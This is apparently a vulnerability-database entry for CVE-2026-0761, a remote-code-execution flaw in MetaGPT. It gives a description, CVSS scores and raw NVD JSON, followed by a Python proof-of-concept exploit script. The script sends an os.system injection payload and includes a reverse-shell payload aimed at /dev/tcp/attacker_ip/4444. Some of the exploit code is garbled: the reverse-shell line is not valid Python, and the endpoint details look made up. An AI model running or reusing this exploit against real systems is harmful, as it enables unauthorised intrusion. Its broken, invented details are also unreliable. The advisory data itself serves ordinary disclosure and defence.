Security Vulnerability Report
中文
CVE-2026-0761 CVSS 9.8 CRITICAL

CVE-2026-0761

Published: 2026-01-23 04:16:03
Last Modified: 2026-02-20 13:41:56

Description

Foundation Agents MetaGPT actionoutput_str_to_mapping Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foundation Agents MetaGPT. Authentication is not required to exploit this vulnerability. The specific flaw exists within the actionoutput_str_to_mapping function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28124.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deepwisdom:metagpt:0.8.1:*:*:*:*:*:*:* - VULNERABLE
Foundation Agents MetaGPT < 修复版本
MetaGPT 所有包含actionoutput_str_to_mapping函数的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-0761 PoC - MetaGPT actionoutput_str_to_mapping RCE # Target: Foundation Agents MetaGPT # Vulnerability: Code injection via actionoutput_str_to_mapping function TARGET_URL = "http://target-server:8080/api/execute_action" def exploit_cve_2026_0761(target_url): """ Exploit for CVE-2026-0761 This PoC demonstrates how to inject arbitrary Python code through the vulnerable actionoutput_str_to_mapping function. """ # Malicious payload that executes system command # The payload leverages Python's __import__ and os.system malicious_payload = "__import__('os').system('whoami')" # Alternative payload for reverse shell reverse_shell_payload = "__import__('socket').socket().__import__('subprocess').call(['/bin/bash','-i','&','/dev/tcp/attacker_ip/4444','0>&1'])" # Construct the exploit request exploit_data = { "action": "output_str_to_mapping", "input_data": malicious_payload, "agent_id": "test_agent" } try: response = requests.post( target_url, json=exploit_data, timeout=10, verify=False ) print(f"[*] Request sent to {target_url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-0761 """ test_payload = "__import__('sys').version" exploit_data = { "action": "output_str_to_mapping", "input_data": test_payload } try: response = requests.post( target_url, json=exploit_data, timeout=10 ) if response.status_code == 200 and "python" in response.text.lower(): print("[+] Target appears to be vulnerable!") return True except: pass return False if __name__ == "__main__": print("CVE-2026-0761 MetaGPT RCE Exploit") print("=" * 50) # First check if target is vulnerable if check_vulnerability(TARGET_URL): print("[+] Launching exploit...") exploit_cve_2026_0761(TARGET_URL) else: print("[-] Target may not be vulnerable or is unreachable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0761", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:02.847", "lastModified": "2026-02-20T13:41:55.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Foundation Agents MetaGPT actionoutput_str_to_mapping Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foundation Agents MetaGPT. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the actionoutput_str_to_mapping function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28124."}, {"lang": "es", "value": "Vulnerabilidad de inyección de código de ejecución remota de código en Foundation Agents MetaGPT actionoutput_str_to_mapping. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Foundation Agents MetaGPT. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica reside en la función actionoutput_str_to_mapping. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar código Python. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-28124."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deepwisdom:metagpt:0.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "F3E5C450-428D-4576-BCB3-622B8633EF67"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-027/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}